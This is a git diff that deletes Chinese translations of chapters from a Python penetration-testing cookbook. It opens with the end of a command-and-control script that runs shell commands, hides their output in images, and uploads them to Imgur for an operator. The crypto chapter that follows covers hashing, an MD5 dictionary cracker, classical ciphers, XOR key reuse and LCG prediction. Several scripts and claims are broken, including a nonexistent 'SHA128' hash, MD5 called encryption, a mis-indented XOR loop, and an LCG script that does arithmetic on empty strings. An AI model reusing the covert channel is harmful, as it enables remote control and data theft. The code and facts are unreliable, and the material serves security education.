stdout=subprocess.PIPE, shell=True) - (output, err) = p.communicate() - p_status = p.wait() - - steg_path = StegoText.hide_message(random.choice (client.default_memes()).link, "{'os':'" + os.name + "', 'uuid':'" + client_uuid + "','status':'response', 'response':'" + str(base64.b32encode(output)) + "'}", "Imgur1.png", True) - uploaded = client.upload_from_path(steg_path) - client.album_add_images(a[0].id, uploaded['id']) - last_message_datetime = uploaded['datetime'] -``` - -服务器只需获取新图像,提取隐藏输出,并将其显示给用户即可。然后它给出一个新的提示并等待下一个命令。就这样,;这是一种通过隐写术传递命令和控制数据的非常简单的方法。 \ No newline at end of file diff --git a/trans/py-pentest-dev/24.md b/trans/py-pentest-dev/24.md deleted file mode 100644 index 1d88631..0000000 --- a/trans/py-pentest-dev/24.md +++ /dev/null @@ -1,1102 +0,0 @@ -# 第 7 章加密与编码 - -在本章中,我们将介绍以下主题: - -* 生成 MD5 哈希 -* 生成 SHA 1/128/256 哈希 -* 同时实现 SHA 和 MD5 哈希 -* 在真实场景中实现 SHA -* 生成 Bcrypt 散列 -* 破解 MD5 哈希 -* 使用 Base64 编码 -* 用 ROT13 编码 -* 破解替换密码 -* 破解 Atbash 密码 -* 攻击一次性 pad 重用 -* 线性同余发生器的预测 -* 识别散列 - -# 导言 - -在本章中,我们将介绍 Python 世界中的加密和编码。加密和编码是 web 应用程序的两个非常重要的方面,因此使用 Python 来实现它们! - -我们将深入了解 MD5 和 SHA 哈希的世界,敲开 Base64 和 ROT13 的大门,并了解一些最流行的哈希和密码。我们还将回顾过去,并研究一些非常古老的方法和方法来制造和打破它们。 - -# 生成 MD5 哈希 - -MD5 散列是 web 应用程序中最常用的散列之一,因为它易于使用,并且散列速度快。MD5 散列是 1991 年发明的,用来取代以前的版本 MD4,至今仍在使用。 - -## 准备好了吗 - -对于这个脚本,我们只需要`hashlib`模块。 - -## 怎么做… - -由于我们可以导入的模块的性质,在 Python 中生成 MD5 哈希非常简单。我们需要定义要导入的模块,然后决定要散列哪个字符串。我们应该将其硬编码到脚本中,但这意味着每次对新字符串进行哈希运算时都必须修改脚本。 - -相反,我们使用 Python 中的`raw_input`功能向用户请求字符串: - -``` -import hashlib -message = raw_input("Enter the string you would like to hash: ") -md5 = hashlib.md5(message.encode()) -print (md5.hexdigest()) -``` - -## 它是如何工作的… - -`hashlib`模块在幕后为我们完成了大部分工作。Hashlib 是一个巨大的库,它使用户能够非常快速、轻松地对 MD5、SHA1、SHA256 和 SHA512 等进行哈希运算。这就是使用本模块的理由。 - -我们首先使用标准方法导入模块: - -``` -import hashlib -``` - -然后我们需要我们希望 MD5 编码的字符串。如前所述,这可以硬编码到脚本中,但并不十分实用。解决方法是使用`raw_input`功能向用户请求输入。这可以通过以下方式实现: - -``` -message = raw_input("Enter what you wish to ask the user here: ") -``` - -一旦有了输入,我们就可以继续使用 hashlib 的内置函数对字符串进行编码。为此,在定义要使用的字符串后,我们只需调用`.encode()`函数: - -``` -md5 = hashlib.md5(message.encode()) -``` - -最后,我们可以打印使用`.hexdigest()`函数的字符串的输出。如果我们不使用`hexdigest`,将打印每个字节的十六进制表示。 - -下面是一个例子的脚本正在全面展开: - -``` -Enter the string you would like to hash: pythonrules -048c0fc556088fabc53b76519bfb636e - -``` - -# 生成 SHA 1/128/256 哈希 - -SHA 哈希也非常常用,与 MD5 哈希一起使用。SHA 哈希的早期实现始于 SHA1,由于哈希的弱点,现在很少使用 SHA1。SHA1 之后是 SHA128,然后被 SHA256 取代。 - -## 准备好了吗 - -同样,对于这些脚本,我们只需要`hashlib`模块。 - -## 怎么做… - -通过使用导入的模块,在 Python 中生成 SHA 哈希也非常简单。通过简单的调整,我们可以更改是生成 SHA1、SHA128 还是 SHA256 哈希。 - -以下是三个不同的脚本,允许我们生成不同的 SHA 哈希: - -以下是 SHA1 的脚本: - -``` -import hashlib -message = raw_input("Enter the string you would like to hash: ") -sha = hashlib.sha1(message) -sha1 = sha.hexdigest() -print sha1 -``` - -以下是 SHA128 的脚本: - -``` -import hashlib -message = raw_input("Enter the string you would like to hash: ") -sha = hashlib.sha128(message) -sha128 = sha.hexdigest() -print sha128 -``` - -以下是 SHA256 的脚本: - -``` -import hashlib -message = raw_input("Enter the string you would like to hash: ") -sha = hashlib.sha256(message) -sha256 = sha.hexdigest() -print sha256 -``` - -## 它是如何工作的… - -`hashlib`模块再次为我们完成了大部分工作。我们可以利用模块内的功能。 - -我们首先使用以下方法导入模块: - -``` -import hashlib -``` - -然后我们需要提示使用 SHA 对字符串进行编码。我们要求用户输入,而不是使用硬编码,这样脚本就可以反复使用。这可以通过以下方式实现: - -``` -message = raw_input("Enter the string you would like to hash: ) -``` - -一旦我们有了字符串,我们就可以开始编码过程了。下一部分取决于您要使用的 SHA 编码: - -``` -sha = hashlib.sha*(message) -``` - -我们需要将`*`替换为`1`、`128`或`256`。一旦我们对消息进行了 SHA 编码,我们需要再次使用`hexdigest()`函数,以便输出变得可读。 - -我们通过以下方式做到这一点: - -``` -sha*=sha.hexdigest() -``` - -一旦输出变得可读,我们只需打印哈希输出: - -``` -print sha* -``` - -# 同时实现 SHA 和 MD5 哈希 - -在本节中,我们将了解 SHA 和 MD5 散列如何协同工作。 - -## 准备好了吗 - -对于下面的脚本,我们只需要`hashlib`模块。 - -## 怎么做… - -我们将把之前所做的一切结合在一起,形成一个大剧本。这将输出三个版本的 SHA 哈希和一个 MD5 哈希,因此用户可以选择使用哪一个: - -``` -import hashlib - -message = raw_input("Enter the string you would like to hash: ") - -md5 = hashlib.md5(message) -md5 = md5.hexdigest() - -sha1 = hashlib.sha1(message) -sha1 = sha1.hexdigest() - -sha256 = hashlib.sha256(message) -sha256 = sha256.hexdigest() - -sha512 = hashlib.sha512(message) -sha512 = sha512.hexdigest() - -print "MD5 Hash =", md5 -print "SHA1 Hash =", sha1 -print "SHA256 Hash =", sha256 -print "SHA512 Hash =", sha512 -print "End of list." -``` - -## 它是如何工作的… - -再次,在将正确的模块导入此脚本后,我们需要接收用户输入,我们希望将其转换为编码字符串: - -``` -import hashlib -message = raw_input('Please enter the string you would like to hash: ') -``` - -从这里开始,我们可以通过所有不同的编码方法发送字符串,并确保它们通过`hexdigest()`传递,以便输出变得可读: - -``` -md5 = hashlib.md5(message) -md5 = md5.hexdigest() - -sha1 = hashlib.sha1(message) -sha1 = sha1.hexdigest() - -sha256 = hashlib.sha256(message) -sha256 = sha256.hexdigest() - -sha512 = hashlib.sha512(message) -sha512 = sha512.hexdigest() -``` - -一旦我们创建了所有编码字符串,只需将其中的每一个打印给用户即可: - -``` -print "MD5 Hash =", md5 -print "SHA1 Hash =", sha1 -print "SHA256 Hash =", sha256 -print "SHA512 Hash =", sha512 -print "End of list." -``` - -下面是一个正在运行的脚本的示例: - -``` -Enter the string you would like to hash: test -MD5 Hash = 098f6bcd4621d373cade4e832627b4f6 -SHA1 Hash= a94a8fe5ccb19ba61c4c0873d391e987982fbbd3 -SHA256 Hash= 9f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08 -SHA512 Hash= ee26b0dd4af7e749aa1a8ee3c10ae9923f618980772e473f8819a5d4940e0 db27ac185f8a0e1d5f84f88bc887fd67b143732c304cc5fa9ad8e6f57f50028a8ff -End of list. - -``` - -# 在真实场景中实现 SHA - -下面是一个实际 SHA 实现的示例。 - -## 准备好了吗 - -对于这个脚本,我们需要`hashlib`库和`uuid`库。 - -## 怎么做… - -对于这个现实世界的示例,我们将实现一个 SHA256 编码方案,并生成一个 salt,通过击败预计算的哈希表使其更加安全。然后,我们将对其进行密码检查,以确保键入的密码正确: - -``` -#!/usr/bin/python -import uuid -import hashlib - -# Let's do the hashing. We create a salt and append it to the password once hashes. - -def hash(password): - salt = uuid.uuid4().hex - return hashlib.sha512(salt.encode() + password.encode()).hexdigest() + ':' + salt - -# Let's confirm that worked as intended. - -def check(hashed, p2): - password, salt = hashed.split(':') - return password == hashlib.sha512(salt.encode() + p2.encode()).hexdigest() - -password = raw_input('Please enter a password: ') -hashed = hash(password) -print('The string to store in the db is: ' + hashed) -re = raw_input('Please re-enter your password: ') - -# Let's ensure the passwords matched - -if check(hashed, re): - print('Password Match') -else: - print('Password Mismatch') -``` - -## 它是如何工作的… - -要开始脚本,我们需要导入正确的库: - -``` -import uuid -import hashlib -``` - -然后我们需要定义散列密码的函数。我们首先使用`uuid`库创建一个 salt。生成 salt 后,我们使用`hashlib.sha256`将 salt 编码和密码编码串在一起,并使用`hexdigest`使其可读,最后将 salt 附加到其末尾: - -``` -def hash(password): - salt = uuid.uuid4().hex - return hashlib.sha512(salt.encode() + password.encode()).hexdigest() + ':' + salt -``` - -接下来,我们进入检查密码功能。这将确认我们的原始密码与第二个密码相同,以确保没有错误。这是通过使用与之前相同的方法完成的: - -``` -def check(hashed, p2): - password, salt = hashed.split(':') - return password == hashlib.sha512(salt.encode() + p2.encode()).hexdigest() -``` - -一旦我们创建了所需的代码块,我们就可以开始向用户请求所需的输入。我们首先请求原始密码并使用`hash_password`函数创建散列。然后将其打印给用户。完成第一个密码后,我们会再次要求输入密码,以确保没有拼写错误。然后,`check_password`函数再次散列密码,并将原始密码与新密码进行比较。如果匹配,则通知用户密码正确;如果不匹配,则通知用户密码不匹配: - -``` -password = raw_input('Please enter a password: ') -hashed = hash(password) -print('The string to store in the db is: ' + hashed) -re = raw_input('Please re-enter your password: ') -if check(hashed, re): - print('Password Match') -else: - print('Password Mismatch') -``` - -下面是正在使用的代码示例: - -``` -Please enter a password: password -The string to store in the db is: a8be1e0e023e2c9c1e96187c4b966222ccf1b7d34718ad60f8f000094d39 d8dd3eeb837af135bfe50c7baea785ec735ed04f230ffdbe2ed3def1a240c 97ca127:d891b46fc8394eda85ccf85d67969e82 -Please re-enter your password: password -Password Match - -``` - -前面的结果是用户输入相同密码两次的示例。以下是用户未能输入相同密码的示例: - -``` -Please enter a password: password1 -The string to store in the db is: 418bba0beeaef52ce523dafa9b19baa449562cf034ebd1e4fea8c007dd49cb 1004e10b837f13d59b13236c54668e44c9d0d8dbd03e32cd8afad6eff04541 ed07:1d9cd2d9de5c46068b5c2d657ae45849 -Please re-enter your password: password -Password Mismatch - -``` - -# 生成 Bcrypt 哈希 - -一个不太常用但更安全的散列函数是**Bcrypt**。Bcrypt 哈希被设计为在加密和解密哈希时速度较慢。这种设计用于防止散列在散列泄露给公众(例如数据库泄露)时容易被破解。 - -## 准备好了吗 - -对于这个脚本,我们将在 Python 中使用`bcrypt`模块。这可以通过使用`pip`或`easy_install`进行安装,尽管您希望确保安装的是版本 0.4,而不是版本 1.1.1,因为版本 1.1.1 从`Bcrypt`模块中删除了一些功能。 - -## 怎么做… - -在 Python 中生成 Bcrypt 哈希与生成其他哈希(如 SHA 和 MD5)类似,但也略有不同。与其他哈希一样,我们可以提示用户输入密码,也可以将密码硬编码到脚本中。由于使用随机生成的盐,Bcrypt 中的散列更为复杂,这些盐会附加到原始散列中。这增加了哈希函数的复杂性,因此提高了哈希函数中存储的密码的安全性。 - -这个脚本的末尾还有一个`checking`模块,它与一个真实的示例有关。它要求用户重新输入要散列的密码,并确保密码与原始输入匹配。密码确认在许多开发人员中是一种非常普遍的做法,在现代,几乎所有的注册表都使用这种方式: - -``` -import bcrypt -# Let's first enter a password -new = raw_input('Please enter a password: ') -# We'll encrypt the password with bcrypt with the default salt value of 12 -hashed = bcrypt.hashpw(new, bcrypt.gensalt()) -# We'll print the hash we just generated -print('The string about to be stored is: ' + hashed) -# Confirm we entered the correct password -plaintext = raw_input('Please re-enter the password to check: ') -# Check if both passwords match -if bcrypt.hashpw(plaintext, hashed) == hashed: - print 'It\'s a match!' -else: - print 'Please try again.' -``` - -## 它是如何工作的… - -我们通过导入所需的模块来启动脚本。在这种情况下,我们只需要`bcrypt`模块: - -``` -import bcrypt -``` - -然后,我们可以使用标准的`raw_input`方法向用户请求输入: - -``` -new = raw_input('Please enter a password: ') -``` - -在我们得到输入之后,我们就可以开始讨论基本的散列方法了。首先,我们使用`bcrypt.hashpw`函数对输入进行散列。然后我们给它输入密码的值,然后使用`bcrypt.gensalt()`随机生成一个 salt。这可以通过以下方式实现: - -``` -hashed = bcrypt.hashpw(new, bcrypt.gensalt()) -``` - -然后,我们将散列值打印给用户,以便用户可以看到已生成的散列: - -``` -print ('The string about to be stored is: ' + hashed) -``` - -现在,我们开始密码确认。我们必须再次提示用户输入密码,以便确认他们输入的密码是否正确: - -``` -plaintext = raw_input('Please re-enter the password to check: ') -``` - -获得密码后,我们使用 Python 中的`==`功能检查两个密码是否匹配: - -``` -If bcrypt.hashpw(plaintext, hashed) == hashed: - print "It\'s a match" -else: - print "Please try again". -``` - -我们可以看到脚本正在运行,如下所示: - -``` -Please enter a password: example -The string about to be stored is: $2a$12$Ie6u.GUpeO2WVjchYg7Pk.741gWjbCdsDlINovU5yubUeqLIS1k8e -Please re-enter the password to check: example -It's a match! - -Please enter a password: example -The string about to be stored is: $2a$12$uDtDrVCv2vqBw6UjEAYE8uPbfuGsxdYghrJ/YfkZuA7vaMvGIlDGe -Please re-enter the password to check: incorrect -Please try again. - -``` - -# 破解 MD5 哈希 - -由于 MD5 是一种加密方法,并且是公开可用的,因此可以使用破解哈希的常用方法创建哈希冲突。这反过来会“破解”散列,并在字符串经过 MD5 处理之前将其值返回给您。这通常是通过“字典”攻击实现的。这包括通过 MD5 编码过程运行单词列表,并检查其中是否有任何单词与您试图破解的 MD5 哈希匹配。这是因为如果对同一个单词进行哈希运算,MD5 哈希值总是相同的。 - -## 准备好了吗 - -对于这个脚本,我们只需要`hashlib`模块。 - -## 怎么做… - -要开始破解 MD5 散列,我们需要加载一个包含将在 MD5 中加密的单词列表的文件。这将允许我们循环哈希并检查是否有匹配项: - -``` -import hashlib -target = raw_input("Please enter your hash here: ") -dictionary = raw_input("Please enter the file name of your dictionary: ") -def main(): - with open(dictionary) as fileobj: - for line in fileobj: - line = line.strip() - if hashlib.md5(line).hexdigest() == target: - print "Hash was successfully cracked %s: The value is %s" % (target, line) - return "" - print "Failed to crack the file." -if __name__ == "__main__": - main() -``` - -## 它是如何工作的… - -我们首先将模块正常加载到 Python 中: - -``` -import hashlib -``` - -我们需要用户输入要破解的哈希以及要加载以破解的词典的名称: - -``` -target = raw_input("Please enter your hash here: ") -dictionary = raw_input("Please enter the file name of your dictionary: ") -``` - -一旦我们有了想要破解的散列和字典,我们就可以继续编码了。我们需要打开`dictionary`文件并逐个对每个字符串进行编码。然后,我们可以检查是否有任何哈希值与我们要破解的原始哈希值匹配。如果存在匹配项,我们的脚本将通知我们并给出值: - -``` -def main(): - with open(dictionary) as fileobj: - for line in fileobj: - line = line.strip() - if hashlib.md5(line).hexdigest() == target: - print "Hash was successfully cracked %s: The value is %s" % (target, line) - return "" - print "Failed to crack the file." -``` - -现在只需运行程序: - -``` -if __name__ == "__main__": - main() -``` - -现在让我们来看一下正在运行的脚本: - -``` -Please enter your hash here: 5f4dcc3b5aa765d61d8327deb882cf99 -Please enter the file name of your dictionary: dict.txt -Hash was successfully cracked 5f4dcc3b5aa765d61d8327deb882cf99: The value is password - -``` - -# 使用 Base64 编码 - -Base64 是迄今为止经常使用的一种编码方法。它非常容易编码和解码,这使得它既非常有用,也非常危险。Base64 不再常用于对敏感数据进行编码,但曾经有一段时间是这样的。 - -## 准备好了吗 - -感谢 Base64 编码,我们不需要任何外部模块。 - -## 怎么做… - -要生成 Base64 编码字符串,我们可以使用默认 Python 功能来帮助我们实现它: - -``` -#!/usr/bin/python -msg = raw_input('Please enter the string to encode: ') -print "Your B64 encoded string is: " + msg.encode('base64') -``` - -## 它是如何工作的… - -在 Python 中用 Base64 编码字符串非常简单,可以在两行脚本中完成。首先,我们需要将字符串作为用户输入提供给我们,这样我们就可以使用以下内容: - -``` -msg = raw_input('Please enter the string to encode: ') -``` - -获得字符串后,我们可以在打印结果时使用`msg.encode('base64')`进行编码: - -``` -print "Your B64 encoded string is: " + msg.encode('base64') -``` - -下面是一个脚本运行的示例: - -``` -Please enter the string to encode: This is an example -Your B64 encoded string is: VghpcyBpcyBhbiBleGFtcGxl - -``` - -# 用 ROT13 编码 - -ROT13 编码绝对不是最安全的编码方法。通常情况下,ROT13 在很多年前被用来在论坛上隐藏冒犯性笑话,作为一种**工作不安全**(**NSFW**标签,这样人们就不会立即看到评论。这些天来,它主要用于**捕获旗帜**(**CTF**)挑战,你会发现原因。 - -## 准备好了吗 - -对于这个脚本,我们需要非常具体的模块。我们需要`maketrans`功能,以及`string`模块中的小写和大写功能。 - -## 怎么做… - -要使用 ROT13 编码方法,我们需要复制 ROT13 密码的实际功能。13 表示每个字母将沿字母表刻度移动 13 个位置,这使得编码非常容易反转: - -``` -from string import maketrans, lowercase, uppercase -def rot13(message): - lower = maketrans(lowercase, lowercase[13:] + lowercase[:13]) - upper = maketrans(uppercase, uppercase[13:] + uppercase[:13]) - return message.translate(lower).translate(upper) -message = raw_input('Enter :') -print rot13(message) -``` - -## 它是如何工作的… - -这是我们的第一个脚本,它不仅仅需要`hashlib`模块;相反,它需要字符串的特定功能。我们可以使用以下方法导入这些内容: - -``` -from string import maketrans, lowercase, uppercase -``` - -接下来,我们可以创建一个代码块来为我们进行编码。我们使用 Python 的`maketrans`特性告诉解释器将字母移动 13 个位置,并将大写字母保持在大写字母内,将小写字母保持在小写字母内。然后,我们要求它将值返回给我们: - -``` -def rot13(message): - lower = maketrans(lowercase, lowercase[13:] + lowercase[:13]) - upper = maketrans(uppercase, uppercase[13:] + uppercase[:13]) - return message.translate(lower).translate(upper) -``` - -然后我们需要向用户请求一些输入,这样我们就有了一个字符串来处理;这是以传统方式完成的: - -``` -message = raw_input('Enter :') -``` - -一旦有了用户输入,我们就可以打印通过`rot13`代码块传递的字符串值: - -``` -print rot13(message) -``` - -以下是正在使用的代码示例: - -``` -Enter :This is an example of encoding in Python -Guvf vf na rknzcyr bs rapbqvat va Clguba - -``` - -# 破解替换密码 - -以下是最近遇到的一个真实场景的示例。替换密码是将字母替换为其他字母以形成新的隐藏消息。在由“NullCon”主持的 CTF 中,我们遇到了一个看起来像替换密码的挑战。挑战是: - -查找密钥: - -``` -TaPoGeTaBiGePoHfTmGeYbAtPtHoPoTaAuPtGeAuYbGeBiHoTaTmPtHoTmGePoAuGe ErTaBiHoAuRnTmPbGePoHfTmGeTmRaTaBiPoTmPtHoTmGeAuYbGeTbGeLuTmPtTm PbTbOsGePbTmTaLuPtGeAuYbGeAuPbErTmPbGeTaPtGePtTbPoAtPbTmGeTbPtEr GePoAuGeYbTaPtErGePoHfTmGeHoTbAtBiTmBiGeLuAuRnTmPbPtTaPtLuGePoHf TaBiGeAuPbErTmPbPdGeTbPtErGePoHfTaBiGePbTmYbTmPbBiGeTaPtGeTmTlAt TbOsGeIrTmTbBiAtPbTmGePoAuGePoHfTmGePbTmOsTbPoTaAuPtBiGeAuYbGeIr TbPtGeRhGeBiAuHoTaTbOsGeTbPtErGeHgAuOsTaPoTaHoTbOsGeRhGeTbPtErGePoAuGePoHfTmGeTmPtPoTaPbTmGeAtPtTaRnTmPbBiTmGeTbBiGeTbGeFrHfAuOs TmPd -``` - -## 准备好了吗 - -对于该脚本,不需要任何外部库。 - -## 怎么做… - -为了解决这个问题,我们对周期字典中的值运行字符串,并将发现的值转换为 ascii 格式。这返回了我们最终答案的输出: - -``` -string = "TaPoGeTaBiGePoHfTmGeYbAtPtHoPoTaAuPtGeAuYbGeBiHoTaTmPtHoTmGePoA uGeErTaBiHoAuRnTmPbGePoHfTmGeTmRaTaBiPoTmPtHoTmGeAuYbGeTbGeLuTmP tTmPbTbOsGePbTmTaLuPtGeAuYbGeAuPbErTmPbGeTaPtGePtTbPoAtPbTmGeTbP tErGePoAuGeYbTaPtErGePoHfTmGeHoTbAtBiTmBiGeLuAuRnTmPbPtTaPtLuGeP oHfTaBiGeAuPbErTmPbPdGeTbPtErGePoHfTaBiGePbTmYbTmPbBiGeTaPtGeTmT lAtTbOsGeIrTmTbBiAtPbTmGePoAuGePoHfTmGePbTmOsTbPoTaAuPtBiGeAuYbG eIrTbPtGeRhGeBiAuHoTaTbOsGeTbPtErGeHgAuOsTaPoTaHoTbOsGeRhGeTbPtE rGePoAuGePoHfTmGeTmPtPoTaPbTmGeAtPtTaRnTmPbBiTmGeTbBiGeTbGeFrHfA uOsTmPd" - -n=2 -list = [] -answer = [] - -[list.append(string[i:i+n]) for i in range(0, len(string), n)] - -print set(list) - -periodic ={"Pb": 82, "Tl": 81, "Tb": 65, "Ta": 73, "Po": 84, "Ge": 32, "Bi": 83, "Hf": 72, "Tm": 69, "Yb": 70, "At": 85, "Pt": 78, "Ho": 67, "Au": 79, "Er": 68, "Rn": 86, "Ra": 88, "Lu": 71, "Os": 76, "Tl": 81, "Pd": 46, "Rh": 45, "Fr": 87, "Hg": 80, "Ir": 77} - -for value in list: - if value in periodic: - answer.append(chr(periodic[value])) - -lastanswer = ''.join(answer) -print lastanswer -``` - -## 它是如何工作的… - -为了启动这个脚本,我们首先在脚本中定义了`key`字符串。然后将`n`变量定义为`2`供以后使用,并创建了两个空列表-列表和答案: - -``` -string = --snipped-- -n=2 -list = [] -answer = [] -``` - -然后,我们开始创建列表,该列表遍历字符串,取出两个字母的集合,并将它们附加到列表值,然后打印: - -``` -[list.append(string[i:i+n]) for i in range(0, len(string), n)] -print set(list) -``` - -这两个字母中的每一个都对应于周期表中的一个值,该值与一个数字有关。转换为 ascii 码时与字符相关的数字。一旦发现这一点,我们需要将元素映射到它们的周期数并存储: - -``` -periodic ={"Pb": 82, "Tl": 81, "Tb": 65, "Ta": 73, "Po": 84, "Ge": 32, "Bi": 83, "Hf": 72, "Tm": 69, "Yb": 70, "At": 85, "Pt": 78, "Ho": 67, "Au": 79, "Er": 68, "Rn": 86, "Ra": 88, "Lu": 71, "Os": 76, "Tl": 81, "Pd": 46, "Rh": 45, "Fr": 87, "Hg": 80, "Ir": 77} -``` - -然后我们可以创建一个循环,该循环将遍历我们之前创建并命名为**列表**的元素列表,并将它们映射到我们创建的`periodic`数据集中的值。在运行时,我们可以让它将结果附加到我们的答案字符串中,同时将 ascii 数字转换为相关字母: - -``` -for value in list: - if value in periodic: - answer.append(chr(periodic[value])) -``` - -最后,我们需要将数据打印给我们: - -``` -lastanswer = ''.join(answer) -print lastanswer -``` - -以下是脚本运行的示例: - -``` -set(['Pt', 'Pb', 'Tl', 'Lu', 'Ra', 'Pd', 'Rn', 'Rh', 'Po', 'Ta', 'Fr', 'Tb', 'Yb', 'Bi', 'Ho', 'Hf', 'Hg', 'Os', 'Ir', 'Ge', 'Tm', 'Au', 'At', 'Er']) -IT IS THE FUNCTION OF SCIENCE TO DISCOVER THE EXISTENCE OF A GENERAL REIGN OF ORDER IN NATURE AND TO FIND THE CAUSES GOVERNING THIS ORDER. AND THIS REFERS IN EQUAL MEASURE TO THE RELATIONS OF MAN - SOCIAL AND POLITICAL - AND TO THE ENTIRE UNIVERSE AS A WHOLE. - -``` - -# 破解 Atbash 密码 - -Atbash 密码是一种简单的密码,它使用字母表中的相反值来转换单词。例如,A 等于 Z,C 等于 X。 - -## 准备好了吗 - -为此,我们只需要`string`模块。 - -## 怎么做… - -由于 Atbash 密码的工作原理是使用字母表中字符的相反值,因此我们可以创建一个`maketrans`功能来替换字符: - -``` -import string -input = raw_input("Please enter the value you would like to Atbash Cipher: ") -transform = string.maketrans( -"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", -"ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba") -final = string.translate(input, transform) -print final -``` - -## 它是如何工作的… - -在导入正确的模块后,我们请求用户输入他们想要加密到 Atbash 密码中的值: - -``` -import string -input = raw_input("Please enter the value you would like to Atbash Ciper: ") -``` - -接下来,我们创建要使用的`maketrans`特性。为此,我们列出了第一组要替换的字符,然后列出了另一组用于替换先前字符的字符: - -``` -transform = string.maketrans( -"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz", -"ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba") -``` - -最后,我们只需要为转换提供一个值,应用它,并打印出该值以获得最终结果: - -``` -final = string.translate(input, transform) -print final -``` - -下面是一个正在运行的脚本示例: - -``` -Please enter the value you would like to Atbash Cipher: testing -gvhgrmt - -``` - -# 攻击一次性 pad 重复使用 - -一次性 pad 的概念是早期密码学的基本核心。基本上,一个短语是由各方记忆的,当一条消息被发送时,它在每一步都会随着这个短语移动。例如,如果短语为`apple`且消息为`i like them`,那么我们将`a`添加到`i`以获得`j`等,最终接收编码消息。 - -最近,许多恶意软件工程师和坏软件工程师使用 XORing 执行相同的活动。漏洞所在以及我们可以创建有用脚本的地方是同一密钥被多次使用的地方。如果使用相同的基于 ascii 的字符串对多个基于 ascii 的字符串进行异或运算,我们可以通过使用 ascii 值逐字符对所有字符串进行异或运算来同时对字符串进行暴力处理。 - -下面的脚本将从文件中获取 XORD 值的列表,并逐个字符对其进行暴力处理。 - -## 准备好了吗 - -将 XORed 短语列表放入文件中。将该文件与脚本放在同一个文件夹中(或者不放;这样做只会稍微容易一点)。 - -## 怎么做… - -脚本应该如下所示: - -``` -import sys -import string - -f = open("ciphers.txt", "r") - -MSGS = f.readlines() - -def strxor(a, b): - if len(a) > len(b): - return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a[:len(b)], b)]) - else: - return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b[:len(a)])]) - -def encrypt(key, msg): - c = strxor(key, msg) - return c - -for msg in MSGS: -for value in string.ascii_letters: -for value2 in string.ascii_letters: - for value3 in string.ascii_letters: -key = value+value2+value3 -answer = encrypt(msg, key) -print answer[3:] -``` - -## 它是如何工作的… - -这个脚本非常简单。我们打开一个包含 XORD 值的文件,并将其按行拆分: - -``` -f = open("ciphers.txt", "r") - -MSGS = f.readlines() -``` - -我们无耻地使用行业标准`XOR`python。基本上,该函数将两个长度相同的字符串等同起来,`XOR`将它们放在一起: - -``` -def strxor(a, b): - if len(a) > len(b): - return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a[:len(b)], b)]) - else: - return "".join([chr(ord(x) ^ ord(y)) for (x, y) in zip(a, b[:len(a)])]) - -def encrypt(key, msg): - c = strxor(key, msg) - return c -``` - -然后我们对所有 ascii 值运行三次,以获得`ciphers.txt`文件中每一行从`aaa`到`zzz`的所有组合。每次我们都将 ascii 循环的值分配给键: - -``` -for msg in MSGS: -for value in string.ascii_letters: -for value2 in string.ascii_letters: - for value3 in string.ascii_letters: -key = value+value2+value3 -``` - -然后,我们用生成的密钥加密该行并将其打印出来。我们可以轻松地通过管道将其传输到文件中,正如我们在整个模块中已经展示的: - -``` -answer = encrypt(msg, key) -print answer[3:] -``` - -# 预测线性同余发生器 - -LCG 在 web 应用程序中用于创建快速、简单的伪随机数。它们本质上是不可靠的,并且可以通过足够的数据轻松地进行预测。LCG 的算法为: - -![Predicting a linear congruential generator](graphics/B04044_07_01.jpg) - -此处,**X**为当前值,**a**为固定乘数,**c**为固定增量,**m**为固定模量。如果泄漏了任何数据,例如本例中的乘数、模数和增量,则可以计算种子,从而计算下一个值。 - -## 准备好了吗 - -这里的情况是应用程序生成随机的两位数并返回给您。有乘数、模数和增量。这可能看起来很奇怪,但这在现场测试中已经发生了。 - -## 怎么做… - -代码如下: - -``` -C = "" -A = "" -M = "" - -print "Starting attempt to brute" - -for i in range(1, 99999999): - a = str((A * int(str(i)+'00') + C) % 2**M) - if a[-2:] == "47": - b = str((A * int(a) + C) % 2**M) - if b[-2:] == "46": - c = str((A * int(b) + C) % 2**M) - if c[-2:] == "57": - d = str((A * int(c) + C) % 2**M) - if d[-2:] == "56": - e = str((A * int(d) + C) % 2**M) - if e[-2:] == "07": - f = str((A * int(e) + C) % 2**M) - if f[-2:] == "38": - g = str((A * int(f) + C) % 2**M) - if g[-2:] == "81": - h = str((A * int(g) + C) % 2**M) - if h[-2:] == "32": - j = str((A * int(h) + C) % 2**M) - if j[-2:] == "19": - k = str((A * int(j) + C) % 2**M) - if k[-2:] == "70": - l = str((A * int(k) + C) % 2**M) - if l[-2:] == "53": - print "potential number found: "+l -print "next 9 values are:" -for i in range(1, 10): - l = str((A * int(l) + C) % 2**M) - print l[-2:] -``` - -## 它是如何工作的… - -我们将我们的三个值,增量、乘数和模分别设置为`C`、`A`和`M`: - -``` -C = "" -A = "" -M = "" -``` - -然后,我们声明种子可能大小的范围,在本例中,该范围将在 1 到 8 位之间: - -``` -for i in range(1, 99999999): -``` - -然后,我们执行第一个 LCG 转换,并使用从以下示例中标记为突出显示的网页中获取的第一个值生成可能的值: - -``` -a = str((A * int(str(i)+'00') + C) % 2**M) -``` - -我们获取网页生成的第二个值,并根据该值检查此转换的结果: - -``` - if a[-2:] == "47": -``` - -如果有效,我们将使用与第一次变换匹配的数字执行下一次变换: - -``` - b = str((A * int(a) + C) % 2**M) -``` - -我们在这里重复这个过程 10 次,但可以根据需要重复多次,直到我们找到一个到目前为止匹配所有数字的输出。我们打印带有该编号的警报: - -``` -print "potential number found: "+l -``` - -然后,我们将这个过程再重复 10 次,以这个数字作为种子,生成接下来的 10 个值,以便我们预测新的值。 - -# 识别散列 - -几乎您使用的每个存储密码的 web 应用程序都应该以某种哈希格式存储您的凭据,以增加安全性。一个好的用户密码哈希系统在数据库被盗的情况下非常有用,因为这将延长黑客破解密码所需的时间。 - -出于这个原因,我们有许多不同的散列方法,其中一些方法在不同的应用程序中重用,例如 MD5 和 SHA 散列,但有些方法,例如 